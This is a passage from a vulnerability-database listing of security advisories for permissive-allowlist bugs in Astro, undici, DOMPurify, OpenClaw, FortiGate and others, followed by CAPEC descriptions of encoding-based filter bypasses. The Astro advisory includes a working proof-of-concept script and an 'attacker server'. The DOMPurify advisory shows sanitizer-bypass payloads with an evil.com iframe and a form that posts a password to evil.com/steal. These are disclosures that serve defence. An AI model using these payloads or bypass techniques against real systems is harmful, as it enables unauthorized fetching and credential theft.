https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21\n\n```ts\nexport function matchPattern(url: URL, remotePattern: RemotePattern): boolean {\n  return (\n    matchProtocol(url, remotePattern.protocol) \u0026\u0026\n    matchHostname(url, remotePattern.hostname, true) \u0026\u0026\n    matchPort(url, remotePattern.port) \u0026\u0026\n    matchPathname(url, remotePattern.pathname, true)\n  );\n}\n```\n\nThe vulnerable logic in `matchPathname()` uses `replace()` without anchoring the prefix for `/*` patterns:\n\nSource: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99\n\n```ts\n} else if (pathname.endsWith(\u0027/*\u0027)) {\n  const slicedPathname = pathname.slice(0, -1); // * length\n  const additionalPathChunks = url.pathname\n    .replace(slicedPathname, \u0027\u0027)\n    .split(\u0027/\u0027)\n    .filter(Boolean);\n  return additionalPathChunks.length === 1;\n}\n```\n\n**Vulnerable code flow:**\n1. `isRemoteAllowed()` evaluates `remotePatterns` for a requested URL.\n2. `matchPathname()` handles `pathname: \"/img/*\"` using `.replace()` on the URL path.\n3. A path such as `/evil/img/secret` incorrectly matches because `/img/` is removed even when it\u0027s not at the start.\n4. The image endpoint fetches and returns the remote resource.\n\n## PoC\n\nThe PoC starts a local attacker server and configures remotePatterns to allow only `/img/*`. It then requests the image endpoint with two URLs: an allowed path and a bypass path with `/img/` in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.\n\n### Vulnerable config\n```js\nimport { defineConfig } from \u0027astro/config\u0027;\nimport node from \u0027@astrojs/node\u0027;\n\nexport default defineConfig({\n  output: \u0027server\u0027,\n  adapter: node({ mode: \u0027standalone\u0027 }),\n  image: {\n    remotePatterns: [\n      { protocol: \u0027https\u0027, hostname: \u0027cdn.example\u0027, pathname: \u0027/img/*\u0027 },\n      { protocol: \u0027http\u0027, hostname: \u0027127.0.0.1\u0027, port: \u00279999\u0027, pathname: \u0027/img/*\u0027 },\n    ],\n  },\n});\n```\n\n### Affected pages\nThis PoC targets the `/_image` endpoint directly; no additional pages are required.\n\n### PoC Code\n```python\nimport http.client\nimport json\nimport urllib.parse\n\nHOST = \"127.0.0.1\"\nPORT = 4321\n\ndef fetch(path: str) -\u003e dict:\n    conn = http.client.HTTPConnection(HOST, PORT, timeout=10)\n    conn.request(\"GET\", path, headers={\"Host\": f\"{HOST}:{PORT}\"})\n    resp = conn.getresponse()\n    body = resp.read(2000).decode(\"utf-8\", errors=\"replace\")\n    conn.close()\n    return {\n        \"path\": path,\n        \"status\": resp.status,\n        \"reason\": resp.reason,\n        \"headers\": dict(resp.getheaders()),\n        \"body_snippet\": body[:400],\n    }\n\nallowed = urllib.parse.quote(\"http://127.0.0.1:9999/img/allowed.svg\", safe=\"\")\nbypass = urllib.parse.quote(\"http://127.0.0.1:9999/evil/img/secret.svg\", safe=\"\")\n\n# Both pass, second should fail\n\nresults = {\n    \"allowed\": fetch(f\"/_image?href={allowed}\u0026f=svg\"),\n    \"bypass\": fetch(f\"/_image?href={bypass}\u0026f=svg\"),\n}\n\nprint(json.dumps(results, indent=2))\n```\n\n### Attacker server\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nHOST = \"127.0.0.1\"\nPORT = 9999\n\nPAYLOAD = \"\"\"\u003csvg xmlns=\\\"http://www.w3.org/2000/svg\\\"\u003e\n  \u003ctext\u003eOK\u003c/text\u003e\n\u003c/svg\u003e\n\"\"\"\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        print(f\"\u003e\u003e\u003e {self.command} {self.path}\")\n        if self.path.endswith(\".svg\") or \"/img/\" in self.path:\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"image/svg+xml\")\n            self.send_header(\"Cache-Control\", \"no-store\")\n            self.end_headers()\n            self.wfile.write(PAYLOAD.encode(\"utf-8\"))\n            return\n\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.end_headers()\n        self.wfile.write(b\"ok\")\n\n    def log_message(self, format, *args):\n        return\n\nif __name__ == \"__main__\":\n    server = HTTPServer((HOST, PORT), Handler)\n    print(f\"HTTP logger listening on http://{HOST}:{PORT}\")\n    server.serve_forever()\n```\n\n### PoC Steps\n1. Bootstrap default Astro project.\n2. Add the vulnerable config and attacker server.\n3. Build the project.\n4. Start the attacker server.\n5. Start the Astro server.\n6. Run the PoC.\n7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.",
  "id": "GHSA-g735-7g2w-hh3f",
  "modified": "2026-03-26T18:45:17Z",
  "published": "2026-03-26T18:45:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33769"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withastro/astro"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Astro: Remote allowlist bypass via unanchored matchPathname wildcard"
}

GHSA-G8M3-5G58-FQ7M

Vulnerability from github – Published: 2026-06-19 14:34 – Updated: 2026-06-19 14:34
VLAI
Summary
undici vulnerable to Set-Cookie SameSite attribute downgrade via permissive substring matching
Details

Impact

When undici parses a Set-Cookie header, it accepts any SameSite attribute value that contains Strict, Lax, or None as a substring, rather than the case-insensitive exact match specified by RFC 6265. Non-spec values are silently mapped to one of the three standard tokens:

  • SameSite=NoneOfYourBusiness is parsed as None, the most permissive setting.
  • SameSite=StrictLax is parsed as Lax, a downgrade from Strict.

Affected applications are those that consume Set-Cookie headers from server responses (for example via undici's fetch or proxy code paths) and then forward or rely on the parsed sameSite attribute. A malicious or non-compliant server can coerce the consumer's view of a cookie's SameSite policy to a weaker value, silently degrading the SameSite enforcement the cookie is supposed to provide.

This was introduced in undici 5.15.0 when the cookies feature was added.

Patches

Upgrade to undici v6.27.0, v7.28.0 or v8.5.0.

Workarounds

After parsing a Set-Cookie header, validate that the resulting sameSite attribute is one of 'Strict', 'Lax', or 'None' (exact, case-insensitive) before forwarding or relying on it.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "undici"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "undici"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.28.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "undici"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-11525"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T14:34:46Z",
    "nvd_published_at": "2026-06-17T18:17:35Z",
    "severity": "LOW"
  },
  "details": "## Impact\n\nWhen undici parses a `Set-Cookie` header, it accepts any `SameSite` attribute value that contains `Strict`, `Lax`, or `None` as a substring, rather than the case-insensitive exact match specified by RFC 6265. Non-spec values are silently mapped to one of the three standard tokens:\n\n- `SameSite=NoneOfYourBusiness` is parsed as `None`, the most permissive setting.\n- `SameSite=StrictLax` is parsed as `Lax`, a downgrade from `Strict`.\n\nAffected applications are those that consume `Set-Cookie` headers from server responses (for example via undici\u0027s `fetch` or proxy code paths) and then forward or rely on the parsed `sameSite` attribute. A malicious or non-compliant server can coerce the consumer\u0027s view of a cookie\u0027s SameSite policy to a weaker value, silently degrading the SameSite enforcement the cookie is supposed to provide.\n\nThis was introduced in undici 5.15.0 when the cookies feature was added.\n\n## Patches\n\nUpgrade to undici v6.27.0, v7.28.0 or v8.5.0.\n\n## Workarounds\n\nAfter parsing a `Set-Cookie` header, validate that the resulting `sameSite` attribute is one of `\u0027Strict\u0027`, `\u0027Lax\u0027`, or `\u0027None\u0027` (exact, case-insensitive) before forwarding or relying on it.",
  "id": "GHSA-g8m3-5g58-fq7m",
  "modified": "2026-06-19T14:34:46Z",
  "published": "2026-06-19T14:34:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/undici/security/advisories/GHSA-g8m3-5g58-fq7m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11525"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodejs/undici"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "undici vulnerable to Set-Cookie SameSite attribute downgrade via permissive substring matching"
}

GHSA-GMHF-R4CX-XF3X

Vulnerability from github – Published: 2024-10-08 09:30 – Updated: 2024-10-08 09:30
VLAI
Details

A vulnerability has been identified in Siemens SINEC Security Monitor (All versions < V4.9.0). The affected application does not properly validate that user input complies with a list of allowed values. This could allow an authenticated remote attacker to compromise the integrity of the configuration of the affected application.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-47565"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-08T09:15:18Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been identified in Siemens SINEC Security Monitor (All versions \u003c V4.9.0). The affected application does not properly validate that user input complies with a list of allowed values.\nThis could allow an authenticated remote attacker to compromise the integrity of the configuration of the affected application.",
  "id": "GHSA-gmhf-r4cx-xf3x",
  "modified": "2024-10-08T09:30:54Z",
  "published": "2024-10-08T09:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47565"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-430425.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GXGJ-6564-3P8J

Vulnerability from github – Published: 2023-04-11 18:30 – Updated: 2024-04-04 03:24
VLAI
Details

A permissive list of allowed inputs vulnerability [CWE-183] in FortiGate version 7.2.3 and below, version 7.0.9 and below Policy-based NGFW Mode may allow an authenticated SSL-VPN user to bypass the policy via bookmarks in the web portal.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-42469"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-11T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A permissive list of allowed inputs vulnerability [CWE-183] in FortiGate version 7.2.3 and below, version 7.0.9 and below Policy-based NGFW Mode may allow an authenticated SSL-VPN user to bypass the policy via bookmarks in the web portal.",
  "id": "GHSA-gxgj-6564-3p8j",
  "modified": "2024-04-04T03:24:27Z",
  "published": "2023-04-11T18:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42469"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.com/psirt/FG-IR-22-381"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H7MW-GPVR-XQ4M

Vulnerability from github – Published: 2026-04-22 17:34 – Updated: 2026-04-27 16:32
VLAI
Summary
DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)
Details

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit c361baa added an early exit for FORBID_ATTR at line 1214:

/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
  return false;
}

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

if (
  !(
    EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
    EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -> short-circuits
  ) &&
  (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated
) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

const DOMPurify = createDOMPurify(window);

DOMPurify.sanitize(
  '<iframe src="https://evil.com"></iframe>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['iframe']
  }
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)

DOMPurify.sanitize(
  '<form action="https://evil.com/steal"><input name=password></form>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['form']
  }
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBID_ATTR which correctly wins:

DOMPurify.sanitize(
  '<p onclick="alert(1)">hello</p>',
  {
    ADD_ATTR: function(attr) { return true; },
    FORBID_ATTR: ['onclick']
  }
);
// Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:

/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
  // proceed to removal logic
}

This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41240"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T17:34:17Z",
    "nvd_published_at": "2026-04-23T16:16:26Z",
    "severity": "MODERATE"
  },
  "details": "There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.\n\nCommit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:\n\n    /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */\n    if (FORBID_ATTR[lcName]) {\n      return false;\n    }\n\nThe same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:\n\n    if (\n      !(\n        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function \u0026\u0026\n        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -\u003e short-circuits\n      ) \u0026\u0026\n      (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated\n    ) {\n\nThis allows forbidden elements to survive sanitization with their attributes intact.\n\nPoC (tested against current HEAD in Node.js + jsdom):\n\n    const DOMPurify = createDOMPurify(window);\n\n    DOMPurify.sanitize(\n      \u0027\u003ciframe src=\"https://evil.com\"\u003e\u003c/iframe\u003e\u0027,\n      {\n        ADD_TAGS: function(tag) { return true; },\n        FORBID_TAGS: [\u0027iframe\u0027]\n      }\n    );\n    // Returns: \u0027\u003ciframe src=\"https://evil.com\"\u003e\u003c/iframe\u003e\u0027\n    // Expected: \u0027\u0027 (iframe forbidden)\n\n    DOMPurify.sanitize(\n      \u0027\u003cform action=\"https://evil.com/steal\"\u003e\u003cinput name=password\u003e\u003c/form\u003e\u0027,\n      {\n        ADD_TAGS: function(tag) { return true; },\n        FORBID_TAGS: [\u0027form\u0027]\n      }\n    );\n    // Returns: \u0027\u003cform action=\"https://evil.com/steal\"\u003e\u003cinput name=\"password\"\u003e\u003c/form\u003e\u0027\n    // Expected: \u0027\u003cinput name=\"password\"\u003e\u0027 (form forbidden)\n\nConfirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.\n\nCompare with FORBID_ATTR which correctly wins:\n\n    DOMPurify.sanitize(\n      \u0027\u003cp onclick=\"alert(1)\"\u003ehello\u003c/p\u003e\u0027,\n      {\n        ADD_ATTR: function(attr) { return true; },\n        FORBID_ATTR: [\u0027onclick\u0027]\n      }\n    );\n    // Returns: \u0027\u003cp\u003ehello\u003c/p\u003e\u0027 (onclick correctly removed)\n\nSuggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:\n\n    /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */\n    if (FORBID_TAGS[tagName]) {\n      // proceed to removal logic\n    }\n\nThis requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.\n\nReporter: Koda Reef",
  "id": "GHSA-h7mw-gpvr-xq4m",
  "modified": "2026-04-27T16:32:31Z",
  "published": "2026-04-22T17:34:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41240"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)"
}

GHSA-HV4J-7WH2-M4P5

Vulnerability from github – Published: 2024-03-14 03:31 – Updated: 2024-03-14 03:31
VLAI
Details

This vulnerability potentially allows unauthorized write operations which may lead to remote code execution. An attacker must already have authenticated admin access and knowledge of both an internal system identifier and details of another valid user to exploit this.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-1654"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-14T03:15:08Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability potentially allows unauthorized write operations which may lead to remote code execution. An attacker must already have authenticated admin access and knowledge of both an internal system identifier and details of another valid user to exploit this. ",
  "id": "GHSA-hv4j-7wh2-m4p5",
  "modified": "2024-03-14T03:31:15Z",
  "published": "2024-03-14T03:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1654"
    },
    {
      "type": "WEB",
      "url": "https://www.papercut.com/kb/Main/Security-Bulletin-March-2024"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J7P2-QCWM-94V4

Vulnerability from github – Published: 2026-03-31 23:59 – Updated: 2026-05-06 02:36
VLAI
Summary
OpenClaw's incomplete host env sanitization blocklist allows supply-chain redirection via package-manager env overrides
Details

Summary

Host exec env override sanitization did not fail closed for several package-manager and related redirect variables that can steer dependency fetches or startup behavior.

Impact

An approved exec request could silently redirect package resolution or runtime bootstrap to attacker-controlled infrastructure and execute trojanized content.

Affected Component

src/infra/host-env-security-policy.json, src/infra/host-env-security.ts

Fixed Versions

  • Affected: < 2026.3.22
  • Patched: >= 2026.3.22

Fix

Fixed by commit 7abfff756d (Exec: harden host env override handling across gateway and node).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41387"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T23:59:36Z",
    "nvd_published_at": "2026-04-28T19:37:41Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nHost exec env override sanitization did not fail closed for several package-manager and related redirect variables that can steer dependency fetches or startup behavior.\n\n## Impact\n\nAn approved exec request could silently redirect package resolution or runtime bootstrap to attacker-controlled infrastructure and execute trojanized content.\n\n## Affected Component\n\n`src/infra/host-env-security-policy.json, src/infra/host-env-security.ts`\n\n## Fixed Versions\n\n- Affected: `\u003c 2026.3.22`\n- Patched: `\u003e= 2026.3.22`\n\n## Fix\n\nFixed by commit `7abfff756d` (`Exec: harden host env override handling across gateway and node`).",
  "id": "GHSA-j7p2-qcwm-94v4",
  "modified": "2026-05-06T02:36:21Z",
  "published": "2026-03-31T23:59:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-j7p2-qcwm-94v4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41387"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/7abfff756d6c68d17e21d1657bbacbaec86de232"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.22"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-supply-chain-redirection-via-incomplete-host-environment-sanitization"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw\u0027s incomplete host env sanitization blocklist allows supply-chain redirection via package-manager env overrides"
}

No mitigation information available for this CWE.

CAPEC-120: Double Encoding

The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.

CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters

Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-71: Using Unicode Encoding to Bypass Validation Logic

An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.